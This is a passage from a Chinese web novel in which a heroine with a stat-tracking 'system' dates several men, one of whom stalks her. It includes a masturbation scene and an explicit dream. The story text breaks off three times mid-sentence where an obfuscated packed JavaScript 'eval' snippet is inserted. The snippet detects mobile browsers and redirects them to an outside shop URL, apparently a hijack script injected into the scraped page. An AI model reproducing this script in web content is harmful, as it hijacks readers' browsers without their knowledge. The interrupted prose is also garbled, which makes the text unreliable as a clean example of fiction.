阴冷的神色一收,顾峤在安童面前变回了那个温和儒雅的学长:“沈先生气度不凡,确实是个好人。” 呵。 好人才不会一大把年纪了还出来勾搭小女生。 顾峤内心咬牙,老男人有什么好的。 这把年纪了,说不定已经不行了,未来怎么能让童童幸福。 望着安童似乎很满意的表情,顾峤心里泛着酸水,逐渐腐蚀着他的理智。 一条裙子就把你收买了吗童童。 他也可以买裙子,能让童童一年365天不重复地穿。 离开前,安童挂念着连环杀人犯的事情,和顾峤找去了李警官的办公室。 毕竟情况紧急,系统的本事她还是相信的,加上自己的专业能力推断,这件事她十拿九稳。 但赶到后,却被警员告知李警官和谢岩已经走了,第二天他们也有急事,如果想要见面,只能在第三天再来。 行吧,安童也累了,她婉拒了顾峤一起吃饭的邀请,打车回到酒店。 夜晚的S市显得格外静谧,乌云层层叠起,蔓延至天空另一头,隐隐约约又飘起小雨,不大,但却足以惹人心烦。 李警官开着车,瞥了眼一旁沉思的谢岩,叹了口气:“在警局我就想问了,你怎么对人家小姑娘那么大敌意呢?你的推测明明和她一样,我还寻思着你们二人有共同话题呢。” “李叔,难道你不觉得她很可疑?”扯了扯略紧的衬衣领口,谢岩大大咧咧向后靠去,回想起安童装可怜无辜的模样,他嘴角冷地下撇,“仿佛知道真相一样,嘴里没几句真话,惯会装模作样。” 身边甚至还有护花使者,他讥讽地补充:“不知道的还以为在干传销。” 李警官:“……” 如果没记错,你们一共也只见过这一面吧,怎么就了解得这么清楚了,观察这么仔细吗。 李警官面对如今性情大变的谢岩,也不知道该说什么。 自从一年前谢岩结束卧底行动回来,整个人就变得多疑敏感,看谁都觉得对方想害自己。 卧底经历时他究竟发生了什么,谁也不知道,但想来应该是很惨烈残酷,才会变成如今这样。 “安童这小姑娘人看着挺好的,别把你当卧底学来的那套用在她身上。”李警官语重心长。 谢岩嗤之以鼻,扭头看着车窗外,不置可否。 他觉得安童就不像是个好人。 李警官见他这个态度,摇摇头。 谢岩这人一旦认定死理,九头牛都拉不回来。 安童回到酒店洗漱完后,往床上一倒,舒坦地滚了滚,算了下今天获得的属性值。 体魄-2,处事值+10,魅力+5…… 德行值竟然一点变化都没有! 其实安童真不是很想谈恋爱的,但这不代表她接受被这样限制。 她敲了敲系统,真的不能通融通融吗,德行值真的很难攒啊,她感觉自己已经很努力了! 系统没搭理,只是放出一段视频,看着进度条还蛮长。 这是什么。 伸出手指戳了戳,安童将脑袋埋进柔软的床被,只露出一双明亮的眼睛。 【安童不以为意:“德行?什么玩意儿,不重要。”】 咻地转场—— 【安童无所谓:“丢了就丢了呗。”】 该死的系统! 把她做过的缺德事进行了混剪,还怪有讲究的,bgm都是当下爆火单品,甚至配上了动感音效,卡点贼有节奏感。 安童:“。” 甚至有点被洗脑。 一时哑口无言,毕竟证据确凿。 安童晃晃头,握起拳头,但那是以前,从今以后她要洗心革面! 胜负心被激发出来,已然忘记自己的目的是要和男神谈恋爱,安童开始谋算应该怎么提高数值,爬起床掏出纸笔准备做计划。 但众所周知,一个人可以懒,可以有斗志,但不能又懒又有斗志。 安童摔笔,再次扑回床上,打开手机准备刷一会就睡。 [萦:姐姐,你睡了吗?(鲜花)(乖巧)] 典型案例的消息? 根据语气推测了一下,安童想这应该是他的第二人格。 [安徒生:别叫姐姐,我才18。(小狗摇头)] [萦:好的姐姐!我叫江薄,你呢?(乖巧)] [安徒生:安童。] 江薄激动得额前碎发遮挡在眼前,藏住了小鹿般澄澈的眼睛。 他终于再次登上了江萦的账号。 不知道怎么回事,对方突然将账号守得很严,几乎让他找不到机会借用。 刚刚江萦才被他找到借口支走。 发现安童发消息来,江薄脸颊发烫,想要发一段长文抒发自己对她的爱慕。 但安童说他是“诗人”,这是夸赞喜欢他的意思吗?但为什么要把他删掉呢。 江薄感到茫然又委屈。 转头问他哥,江萦沉默,嘴唇微动:“傻子。”没头没尾地说出这句话,就没理他了。 于是江薄还是斟酌再三,加上要珍惜这来之不易的时间,克制了一下。 [萦:今天画设计图的时候,用到了“露珠”这个元素,纯净湿润,就像姐姐你的眼睛。(害羞)(鲜花)] 第二人格还挺会说话嘛。 这文艺清新的风格,不禁让安童联想到今天在高铁上遇到的含羞草弟弟,仔细回忆起来,那人其实也蛮可爱的。 [萦:姐姐,你觉得我弟弟怎么样?就是当时坐你右边那个!(乖巧)(鲜花)] [安徒生:你说那个诗人?] 江萦回到客厅时,发现江薄正拿着自己手机发消息。 他神色淡然,没有发出声响地来到江薄身边,抽走了手机。 面对江薄的控诉威胁,江萦只是漫不经心道:“她这么晚一定很累了,你这样是在叨扰她。” 保证第二天会把账号借用给他后,江薄便回到书房继续完成设计稿。 看着聊天记录,江萦漫不经心地想着,他弟弟到底年轻又单纯,很容易被外面迷花眼。 作为哥哥,他很不看好江薄和安童的感情发展。 作为江家人,男女朋友交往还是得讲究门当户对,江薄要谈也得找个富家千金。 江萦冷漠傲慢地想。 而安童样样不符。 这次和安童出去,就由他江萦出手,让她主动断掉关系,这样江薄也不会一直威胁他了。 安童等了很久,对面没有回复消息。 她觉得这第二人格挺可爱的,准备继续逗弄逗弄呢。 [安徒生:在?] [萦:很晚了,明天见。] 啧,变得冷冰冰了。 还是刚刚那样更可爱。 * 第二天,安童早早就起来了。 她对着梳妆镜自己照了照,昨天苍白脆弱的脸色,经过一晚休息,终于又变得红润起来。 安童化了个淡妆,换上简单的体恤和短裤,正收拾东西准备出门,发现顾峤发来一条消息。 [男神:我发现一家粤菜馆很不错,中午要一起去吗?] 【面对男神邀约,你选择——】 【A.欣然答应,毁约江薄】 【B.委婉拒绝,表示有约】 安童心动,金鱼般的记忆也让她短暂想起了要提升德行值和男神在一起。 但纠结衡量过后,她发现目前对典型案例更感兴趣,只能含泪拒绝,表示可以明天再约。 随手打了个车,安童出发前往目的地。 而街道旁一辆低调奢华的车,也在这时缓缓开动,跟上了前面那辆。 后视镜照出顾峤病态阴暗的神色,痴态的目光死死缠住前方车辆。 童童,你是要去哪里呢。 最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781777|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟到一处商城前,安童下了出租车,左右环顾,似乎在找人。 黏稠的目光舔坻着安童的模样,却在看到她走向一个陌生男人时变得扭曲。 顾峤猛地捏紧了方向盘,指节嘎吱作响。 “江薄,你来啦!”雀跃地跑到江萦面前,安童仰头看着他,黑亮的眸子像是一直浸在清水里,湿漉漉的。 尽管叫的是他弟弟,江萦还是淡淡地认了:“嗯,走吧。” 反正今天就要断掉关系,认错也没关系。 本来是想要说清后直接抽身离开,但安童就像是清晨凝结的露珠,仿佛对她稍微说重一点的话,就因为热气而蒸发消散。 江萦决定屈尊降贵地陪她看完电影,再断掉联系。 他们来到了三楼的电影院,观看了一部文艺情感片。 安童偷偷用余光观察江萦的反应。 这可是号称影史上最感人心脾的一部情感片,看过的人没一个能笑着走出电影院。 而江萦却只是矜持地勾起唇角,眼神清清冷冷,这看起来很正常,也许是这部电影并没有触动他。 但江萦全程只保持着这一个表情! 安童吐槽,不知道的还以为是AI。 等到影院内灯光亮起,江萦心里没有一点情绪起伏,就算是坐在廉价的座椅上,姿态也显得贵气十足,和电影院格格不入。 要叫上安童离开时,却发现她脸颊湿透,身体打着颤,泪水盈满眼眶。 怎么这么能哭。 如果倒时候和她说开了,岂不是要哭成泪人。 自小受过的教育告诉江萦,眼泪是无效、麻烦且脆弱的。 江萦情感淡薄,不理解为什么有人看个电影也能哭成这样,但他迟疑了,甚至感到有些烦躁。 安童接过了他递来的纸巾,边擦边和江萦离开电影院。 一边呜呜哭着,一边检讨自己。 安童:“QnQ。。” 但这部电影这么感人,除了江薄这个人机,谁能不哭呢。 随后他们去了就近的一家恐怖主题的密室逃脱店。 安童高估了自己的胆子,为了维持礼节,只敢吓得泪眼朦胧地攥住江萦的衣袖,紧紧不撒手,亦步亦随地跟在他身后。 江萦:“……” 所以为什么想不开来这里玩。 安童:我只是想借此看看情感缺失的人是如何应付恐惧,但没想到第一个要跨过的坎竟然是自己。 ——哈哈,被自己蠢笑了。 直到走出密室后,安童才仿佛缓过来一样,松开江萦的衣袖,发现已经被自己攥得皱巴巴,哭肿的眼睛不由瞪大,眼尾下垂显得可怜巴巴。 “对不起啊,我……太害怕了。” 江萦皱眉,他有点洁癖,但在密室里见着这样脆弱的安童,一时竟然没有挣脱开。 安童爱哭、胆小、脆弱,让人根本无法狠心拒绝。 江萦想,还是先保持联系吧,虽然不喜欢安童,但他可以为弟弟试探试探这人底细。 * 离开商场时已是夜晚,人满为患,多是下班后出来放松的上班族,或者是带着孩子出来玩的家长,欢声笑语很是热闹。 江萦好像看到了一个不该在这里出现的人。 江薄怎么会在这? 但仔细一看,又没有人影,刚想打消疑虑,江薄却在这时发来消息。 [薄:哥,我好像在商场这看到安童了。(图片)] 图片上正是江萦和安童所在的商场。 “怎么了?” 安童见江萦停了下来,回头询问。 [薄:诶,哥你也在嘛,帮我找找安童!我这就过来!] 不用找了,就在我身边。 其实被发现也没什么,江萦只不过是瞒着他弟弟和安童偷偷见面而已。 但一个念头却突兀浮现在脑海。 ——这很像偷情。 他抓住安童胳膊走向了另一条路,声音冷淡但快速:“我们去那边夜市看看吧。” 安童莫名其妙地被江萦拉着快走,头上冒问号。 这人机哥又怎么了? 7. 逛夜市 江薄在画设计图时,发现缺少一种材料,便驾车来到就近的商城采购。 他戴着口罩和帽子,把自己遮得严严实实,偶尔引来路人关注,江薄就把头埋得更低,睫毛颤抖着,只想快点回家。 他好想见见安童。 不知道她此时在干什么,昨晚他有了新的灵感,熬夜画了张设计图。 是一条蓝眼泪项链,他很想献给安童。 似乎是梦想成真,把江薄最想见的人送到了面前。 走到商城门口时,他好像不经意间在外面拥挤的人群中看到了安童。 心里一喜,江薄眼睛亮起来,但再次望去,安童的身影却不见了。 目光急切搜寻间,竟然看到了江萦。 他怎么会在这,不是一向有洁癖,最讨厌来人多的地方了吗? [萦:我不在商城。] 看到这个回复,江薄想,可能真是自己思念过度,眼花看错了。 江薄比较单纯,加上对他哥的信任,在周围寻找未果后,失落地回家了。 不远处的夜市。 正是灯火通明时,小商小贩出来摆街,形成了美食街一条龙,食物的香气传遍这条巷子。身边时不时走过一些勾肩搭背的路人,留下一阵阵嬉笑声。 安童被江萦带着快走了好一会,最后可算停了下来。 她试着抽了抽,却发现被攥得太紧,压根抽不出来。 江萦一脸淡然,甚至带着点高高在上,没觉得抓着安童走有什么不对劲。 他视线绕过人群,向后巡视,发现已经离商城很远,江薄此刻应该也返程回家了。 “喂,江薄,”安童提醒,手臂上传来的酸痛让她眼里蓄起眼泪,声音闷闷的,“还不放开吗?” 像是才想起来一样,江萦松开了安童的胳膊,和她瞬间隔开,中间几乎可以再插入一个人。 他神色疏离,冷灰色眼眸淡淡地俯视着安童,嘴角微微勾起:“抱歉,刚刚人太多,我不习惯,就来带你来这了。” 说完后,江萦皱眉。 不应该。 他不应该抓着安童的手避开江薄,也不应该对她解释这么多。 权贵之家出身,让江萦从小就被众星捧月,他从不需要费口舌和人解释,也不屑于解释。 江萦难以解释自己的行为,只能将其归因为自己怕麻烦。 虽然他是抱着替弟弟试探安童的想法,但江薄不知道,万一他通风报信,那江萦就得打道回府。 安童不吱声,低头瞅了瞅自己的胳膊,上面因为用力过猛,已经起了一大块淤青。 【体魄-1】 安童:“。” 很好,现在她要给典型案例增加一条罪证——有暴力倾向的人机。 因为“慧极必伤”光环,安童身体对疼痛的敏感度比常人要高,稍微用力就会在身上留下痕迹。 现在,她胳膊上竟然出现了一大块淤青。 这是多么有碍美观。 这得多久才会散去啊! “重庆小面嘞,正宗的重庆小面……” “乐山钵钵鸡,正宗乐山钵钵鸡……” 商家激动的吆喝声此起彼伏。 好吵。 喧嚣声让江萦心生不适,清贵的外形使他看起来下一秒是要去参加某种高级会议,而不是在美食街穿来穿去。 他从小到大就没来过这种地方,人和人总是会挨着蹭着,显得很不讲究。 街边甚至有路人随手扔的垃圾,江萦眉心狠狠皱起,恨不得离那里八百米远。 他转过头,想对安童说离开这里,却见她垂头摸着自己手臂,看不清表情,眼泪一滴一滴落在手背上。 又哭了。 眼见着又是一滴泪珠落下来,江萦没忍住伸出手接住,冰凉的触感一闪而过,很快就被他掌心的温度融化。 就像安童,一旦不小心就会被外物灼伤,然后坏掉、融化。 见江萦竟然无动于衷,安童不经意间对着他露出了胳膊上的淤青,像是极力忍耐着哭泣,呜咽着小声道:“好疼……都怪你力气太大了……” 江萦回过神,看向安童的胳膊。 白皙纤细的胳膊上,赫然出现了一处狰狞的淤青,看起来伤势很唬人。 刚刚力气也没用多大,怎么会这么严重。 视线在上面多停滞了一会,江萦看着委屈可怜的安童,平淡无波的内心似乎起了一些波澜,罕见地升起了类似怜惜愧疚的情绪。 他沉默一会,垂眸注视着安童,脸上浮起歉意的微笑:“抱歉,你想要怎么补偿?” 姿态很合礼绅士,语气却平静而冷淡。 安童对典型案例心里有数,这人就是个几乎不会有任何情绪起伏的人机,究竟是不是诚心道歉也不重要,只要目的达到就行。 她抬起眼睫,湿漉漉的眼睛直勾勾扫向周围店铺,眼尾无辜地垂着。 察觉到安童的视线,江萦开口:“饿了?” 他内心犹豫几秒,最终妥协。 “想吃什么,我来买。” 安童:就等着你这句话呢。 虽然没有深入了解,但从典型案例的穿着打扮就能看出来。 ——这哥们,很有钱。 再加上她偷偷查看个人属性,这人的三颗星已然亮了一颗。 这说明他已经把安童当朋友了,只不过因为情感缺失不自知,不借题发挥利用一下也太可惜了。 安童内心的恶劣因子蠢蠢欲动。 不过奇怪的是,他明明叫江萦,却说自己叫江薄。 但每个人都有点自己的小秘密,加上不熟,安童表示理解。 * 穿插在各美食商铺间,安童内心欢快得很,明面上还得装出西子捧心的脆弱可怜,身边的江萦倒是货真价实地嫌弃着周围的环境,嘴角抿成了一条直线。 江萦几乎有些后悔自己的决定,出于弥补心态,安童多看了哪家店一眼,就会买来给她。 但安童每样只吃一点就不碰了,剩下的她又舍不得,便每次都露出那湿漉漉的眼神望着江萦,江萦很难拒绝这样的安童。 等江萦反应过来时,几乎一大半买来的食物全被他干掉了。 再次看上一家臭豆腐,安童欲语不休地往那里多看了几眼,江萦发觉后,淡淡地颔首:“等我一会。” 江萦去买东西了,安童在原地用脚后跟踢着地面,有些百无聊赖。 还好有三次回档功能,不然她真吃不下那么多美食。 【提醒:鉴于宿主的高危职业,请您妥善利用三次回档功能】 这夜市能有什么事,安童直接忽略系统的提醒。 但她很快就后悔了。 安童几乎想抛下还没回来的江萦转身逃走,因为不远处竟然走来了谢岩,那个看她格外不顺眼的刑警。 谢岩今晚穿着朴素的灰色体恤和工装牛仔裤,简单的打扮,却将他肩宽窄腰的好身材显露出来,行走间肌肉流畅起伏,看着很有爆发力。 昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781778|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警局内穿的是长袖,今天的短袖很好地展现了他结实的臂膀。 安童默默打量一下自己的小胳膊,比划了一下,感觉对方一只手就可以把自己撅断。 今天的回档功能也被她挥霍完了,没有单挑的资本,不能随便打巴掌回去。 安童有点怂了,转身就想离开,谢岩却直直向她走来。 他身形高大,阴影覆盖到她身上,比她高上两个头的身高此时极具压迫感。 谢岩远远地就看到安童了。 他今天抓住了这次凶杀案的头号嫌疑人。 自身的推断再结合昨晚安童的侧写,果然锁定了一个男人,今天快马加鞭地带着手下的几个人前去抓捕,在他措手不及时将其抓住。 但这人嘴很严,无论怎样逼问嘴里都没一句真话,含糊其词。 刚刚在审讯室时,他差点没控制住脾气,最后狠狠把文字资料摔在了那人脸上。 谢岩有些烦躁地伸手摸摸裤兜,却想起自己戒烟了。 这时他刚好看到安童,想到对方虽然可疑,但最后的推测却是正确的,也许可以短暂合作一下。 复杂又矛盾的一个女生,谢岩想到安童柔弱可怜的外表,内心再次补充:惯会装无辜。 “你怎么会在这,”谢岩冷冽的眼神扫视着安童,看到她仿佛吓得要哭出来似的模样,不解风情地蹙眉,“别装了,你这套在我这没用。” 安童:这人自带火眼金睛buff,演不过演不过,我还是溜吧。 “我不知道你在说什么,”声音轻得几乎听不到,尾音发着抖,安童低着头就要从谢岩身边绕开,却又被拦手他堵住。 干嘛呀! 谢岩没被安童此刻的外表迷惑,他抱臂站在这人面前,态度生硬不容人拒绝:“听说你昨天找我,如果是关于这起案件,明天可以一起审讯。” 怎么,你说帮忙我就得去帮忙吗? 就这恶劣的态度,做梦呢! 安童怒视他,往日无辜的狗狗眼此时因为生气燃着火苗,她又绕了一边,却不小心被不平的地面摔得往前一扑。 谢岩伸手抓了一把,安童便狠狠地跌进他怀里。 牙齿磕在坚硬的肩膀上,给安童疼得眼泪瞬间落下来,第一时间就想检查一下自己的牙齿是否完好。 谢岩本人倒是对被磕到一点感觉也没有,他低头看了看娇气得不行的安童,白净的脸已经被泪水湿透,额头上竟然也撞红了一块。 他很快松开手,发现对方手臂竟然又多出一大块看起来更严重的淤青。 谢岩生活过得糙,身上也什么伤都有,身边的异性同事也都经历风吹雨打,头一次知道有人被这么磕一下都受了大伤一样。 安童也连忙起身,却因为脚抽筋,再次朝另一个方向脚步不稳地倒去。 谢岩想再次抓住她,却被赶来的另一个人抢先。 好不容易排队买完臭豆腐,江萦隔老远就看到安童在被一个看起来高大凶悍的人欺负,他快步上前,捞住了安童。 人离开了谢岩的怀里,他才后知后觉安童身上竟然有股香味,呼吸间仿佛对方还在他怀里一样。 谢岩观察着安童,忍不住捻了捻手指,心里发痒,很想再逗弄一下。 发觉自己的想法后,他又狠狠呵斥自己,这人一看就不安于室,不值得他深交,等合作解决完这个案子就立刻分道扬镳。 看着安童在江萦面前哭成泪人,上气不接下气的模样,他心里冷嗤。 呵,真会装。 8. 穿裙子拍照给某人 怎么离开一会,安童就变成了这样。 胳膊上又多出一大块淤青,嘴唇磕破,蓬松的短发有些糊在额前。 像是在外面受了委屈的流浪猫,在外面受了伤之后回家哽哽咽咽地叼着衣袖诉苦。 江萦没有分眼神给谢岩,将安童拉到身边,把臭豆腐递给她,侧头低声询问:“没事吧?” 迟疑着摇了摇头,安童眼睛哭得有些红肿,鼻尖一耸一耸,柔弱得让人心疼。 他好不容易安抚好的人,敏感爱哭的安童,就这么被人欺负了。 江萦心头不知为何沁着一丝火气。 之后他才看向谢岩,淡淡地笑了笑,语气却带着一贯的薄凉,眼神像是结着一层薄冰,冷冽得要把人冻住:“道歉。” 臭豆腐的味道轻飘飘散在空气中,安童肚子都闻饿了,馋得不行。 她内心摇旗呐喊:加油,典型案例,莽上去,我看好你! 周围路过的人不由得被这紧张的气氛惊扰,小心翼翼地绕开他们所处的位置。 虽说安童的伤不是谢岩故意造成的,但确实没想到她体质这么娇气。 他肩膀处有点湿润感,可能是安童刚刚落下的眼泪,心想这人可真会哭。 哭得还挺好看。 谢岩盯着压根不敢看自己一眼的安童,心想他又没做什么干嘛道这个歉,但还是开口:“行,今天是我吓到你了,我的锅。” 安童察觉到他直勾勾的视线,移开眼神,往江萦旁边躲了躲,想到反正谢岩已经看穿了自己,就挑衅地对其眨了眨无辜下垂的狗狗眼。 啧,这小绿茶身边又多了一条护主的狗。 勾人的本事不减反增啊。 按理来说,谢岩卧底时见多了这种两面三刀的人,对此应该避如蛇蝎且感到厌恶。 但看着安童故作可怜的样子,他心里又开始发痒。 谢岩儿时在村子里的时候,救助过一只被捕兽夹弄断腿的野猫,它凄厉地叫着,看到他背着竹篓走来后,将自己蜷缩成小小的一团,怯生生地发着抖。 一脱离捕兽夹,立马露出凶巴巴的模样,狠狠挠了谢岩一爪子,便灵活地拖着伤腿跑开。 当时手上火辣辣的疼,至今仍留着疤。 现在,这道疤仿佛又开始发烫,烧到了谢岩的心口。 谢岩没和这种贵公子说话,常年刑警的经历告诉他这种人最难打交道,傲慢且目中无人。 他迎着江萦凉嗖嗖的视线,蹲在安童面前,仰头看着她梨花带雨的可怜样,再次想到了那只猫,硬朗的脸上扯出一抹笑。 “不是脚扭伤了吗,”谢岩浓眉一挑,即使矮安童一截,看上去仍像只威猛的大型犬一样给人压迫感,“我看看是不是伤到骨头了。” 看着就不安好心。 要不是他刚刚一直拦着,她怎么会扭伤脚! 【体魄值-3】 【恭喜宿主解锁成就:因果轮回报应不爽】 【提醒:当前德行值过低,会导致宿主诸事不顺,请平衡好各项数值】 点开成就一看,是一张雕刻精美的卡片。 正面是一名少年背着娇怯的少女。 背面是一头凶猛的野狼,用爪子玩笑似地钩住面前挣扎的小猫。 安童:“……” 她好像懂了。 正面的是沈竹青,背面是谢岩? 当初戏耍对方时假称自己脚拐了,没想到,如今脚却真受伤了。 安童一声不吭,似乎已经没有精力般地耷拉着平日欢快的尾巴,微微靠着旁边的人。 江萦也不会帮人看伤,便任由安童扶着自己,眸光疏淡地随意扫过谢岩,仿佛根本没把这个人看在眼里。 “嘶,你轻点!” 粗糙带茧的掌心按揉着肿起来的脚裸,力度尽管放得很轻,还是让安童忍不住瑟缩一下,动作间不小心踢到了谢岩的肩膀。 她想要收回脚,又被谢岩再度重重握住。 “别乱动,很快就看好了。”声音有点沙哑,谢岩开口时才发觉自己嗓子干成这样。 他像是捧着易碎的瓷器,用自己最柔软的指腹轻轻按着安童的脚裸。 粗壮的手臂牢牢锢住纤细的小腿,皮肤颜色比安童深了一个度。 街边夜灯打在他们身上,一个白得晃眼,一个泛着蜜色光泽。 谢岩握着安童的脚踝,至下而上望过去,不知为何产生一个念头:这个姿势很适合拉住她,轻轻用力就可以拽过来。 江萦看着安童和谢岩,总感觉哪里不对劲,他维持礼貌的笑容消失了,淡漠地抿着唇,催促道:“还没好?” 喉结快速滚了滚,谢岩不知怎么有点不自在,他有些慌乱地放开安童,粗里粗气地开口:“好了,没伤到骨头,只是轻微扭伤。” 收回脚后,安童一看。 好嘛,脚上也青了一块。 她感觉自己不像出来玩,而是遭受了一顿毒打,这一趟弄得身上到处是意味不明的伤。 安童心情憋屈得不行,最后离开时三人的气氛也很沉寂,谢岩甚至还有点回避安童。 路过一家商铺时,安童买了个木鱼。 系统。 【在,宿主您有什么事吗?】 敲木鱼可以涨德行吗。 安童边走边敲,嘴里嘟囔着:“+1+1……” 【您这是在自我催眠】 别管我! 安童:“QnQ。。” 德行值不够的人生她受够了,她要奋斗! 不就是平衡好数值嘛,她可以! * 晚上到酒店后,安童在门口发现了沈长昀寄来的礼盒。 疲惫地抱着盒子进屋,安童仰躺在沙发上。 拆开一看,是一条精美的长裙,绸缎般的质感,摸着很是顺滑。 盒子里还躺着一张卡片。 ‘安童小姐,希望你喜欢这条裙子。’ 后面还有字。 ‘或许上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781779|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名片掉了,这是新的一张。’ 看到这安童才想起,她好像把那张名片随手扔了。 出于对沈长昀良好的第一印象,安童怀着一丝丝愧疚给他发送好友邀请。 很快就通过了。 对面发来一条信息,安童还没来得及看,又收到另一个联系人发来的消息。 [萦:你对我现在是什么想法?] 江萦回到住处后,江薄听到动静打开卧室门探出头问了问:“哥,怎么回来这么晚,吃饭了吗?” 看着弟弟纯真的脸庞,江萦罕见地产生了一丝愧疚,敷衍过去后,他默默回到书房,点开和安童的对话框,发出问话。 [安徒生:问这个干嘛,不过我还挺喜欢的,你人挺好。] 喜欢你的钱。 你财大气粗的样子真的很迷人。 今天出去的一切费用都是由江萦付的,安童对他好感飙升。 不过,还是更喜欢他的第二人格,因为更可爱一点。 在另一头,江萦握着手机,心里涌出纷繁复杂的情绪。 安童竟然喜欢他? 他淡然地坐着,神色沉静得像一樽冰雕,心中却来来回回闪过很多想法。 他应该拒绝安童的,毕竟是瞒着江薄和她见面,这次出去的本意也是断掉关系,却让她对自己产生了爱慕情绪。 这不对,但安童无辜抬眼、向江萦看来的湿漉漉的眼神出现在脑海,他就开始踌躇。 安童不清楚有人正在纠结,她继续回沈长昀的消息。 [沈大佬:喜欢这条新裙子吗?] 她想了想,拿上这条裙子进了卧室。 * 浴室内。 淋浴头放着冷水,像是春雨一样淅淅沥沥,却浇不尽蓬勃的生机旺盛。 沈长昀穿着昂贵的西装,全身上下被淋湿,却丝毫不觉冷意,喘着粗气,闭着双眼靠在墙边。 他一边想着要克制,一边忍不住点开那张照片,用视线细细临摹每一处。 刚刚安童发来了一张照片,是在昏暗的房间里拍的,显得身线朦胧。 只露出了下半张脸,丰润的嘴唇似乎破了皮,有些红肿,凌乱的头发散在脸颊两侧。 这条裙子果然很衬安童,丝绸质感的面料将她身体曲线暧昧地勾勒出来。 肌肤在红裙的衬托下愈发白腻,但偏偏胳膊处还有淤青,带来一些不完美的残缺感和凌-虐感。 红与白与青交织,搅乱着沈长昀的思绪。 他儒雅的脸上浮现出隐忍的红晕,喃喃道:“克制……我要克制……” 但闭上眼后,似乎整个浴室都萦绕着安童身上的香味,将他包裹其中,挣脱不能。 最终喘息着,缓缓将手下下探去。 和谐的水声中,传来金属扣解开的“啪嗒”声。 手机摔在地上,雾气在屏幕上凝结成水珠,隐约显示着最新消息。 [安徒生:谢谢,很喜欢,今晚好梦~] 9. 危机渐起 发完照片后,对面沉寂了很久。 安童困了,躺在被窝里等了等,在眼睛快要闭上时,收到沈长昀发来的消息。 [沈大佬:裙子很衬你。] 她也是真的困迷糊了,大脑没怎么思考,梦游似地回了一句话。 手机亮了亮,但安童已经沉沉睡去。 早晨醒来时,安童觉得全身酸疼。 手臂上的淤青看起来很是唬人,即使擦了药酒还是泛着刺痛,脚裸扭伤的红肿倒是消散不少。 安童活动了一下脚,心想谢岩的按揉手法还挺不错嘛。 就是这个人硬邦邦的,就像他性格一样,太板正刚直了,一咬下去自己先嘣掉牙。 今早照镜子一看,发现嘴唇竟然破了道口子,气得她在心里把谢岩拎出来骂了几百遍。 拿出手机想看看时间,开机后显示的却是和沈长昀的聊天框。 一种不妙涌上心头。 [安徒生:明天见一面,穿给你看啊~(小狗招手)] [沈大佬:好,明天见。] 还有一通未接电话。 安童:“!” 怎么她发出去的话,看起来这么意味不明呢? 天地可鉴,安童对沈长昀绝对没有包藏一点祸心,全是昨晚打瞌睡背的锅。 她看了眼时间,早上七点,对方应该醒了,于是回拨了一个电话。 但很快被挂掉了。 [沈长昀:抱歉安小姐,我现在不太方便。] 是一条语音,声音嘶哑磁性,带着微微喘息,好听得令人骨头酥麻。 安童:“o.0” 有什么不方便的,大清早能有什么事。 她收拾好东西,准备去警局找李警官看看情况。 坐在出租车上,安童刚要关掉手机,却突然收到一条莫名其妙的匿名短信。 [宝宝,不要去见别人,你是我的。不要让我生气好吗。] 什么骚扰短信,拉黑拉黑。 安童没把这条短信当回事。 * 警局。 谢岩顶着眼下的黑眼圈,应付完同事的问好,脑子里乱糟糟的。 昨晚他回去后,因为安童的事心绪不宁,翻来覆去很久才睡着。 然后做了个很奇怪的梦。 迷幻又香甜,几乎要让人溺毙在其中。 耳边传来难耐到极致的抽噎声,谢岩身下似乎压着一个人,正在用手脚并用往前爬,他俯身撑在床上,目光灼热地看着,似乎品味着自己在对方身上留下的痕迹。 脊背无暇白皙,像是要振翅飞走的蝴蝶,无助地颤抖战栗,仿佛再也承受不住。 他单手拽着脚踝,把人轻松拖了回来。 哭唧唧的,模样很招人。 那正是安童的脸。 谢岩惊醒,坐在床边平复着,胸膛剧烈起伏,汗水从脸侧蔓延下来。 他全身燥热,仿佛用不完的精力聚集在某处。 谢岩一边唾弃自己梦见这样的安童,梦里的自己还那么急躁,一边忍不住产生一些绮丽的念想。 他精神抖擞地睁着眼睛,不敢睡了,一睡眼前就出现安童,各种姿势的安童。 最后,谢岩在家中的健身房打了一宿的拳,来消耗自己过剩的精力。 “啪嗒——”门开的声音传来。 李警官看到安童,悄悄瞥了眼正神游天外的谢岩,隔了一天,这小子总不至于还平白无故针对人家吧。 前天的女警看到安童,热情地迎了上来:“安童小姐,来找李警官的吧,”她领着安童走向那边,一边调笑着,“前天你帮了我们一个大忙,又走得太快,审讯室那小警员念叨想见你好久了。” 女警用眼神示意不远处的人,小警员踌躇着不敢过来,羞得脸红,都不敢看安童。 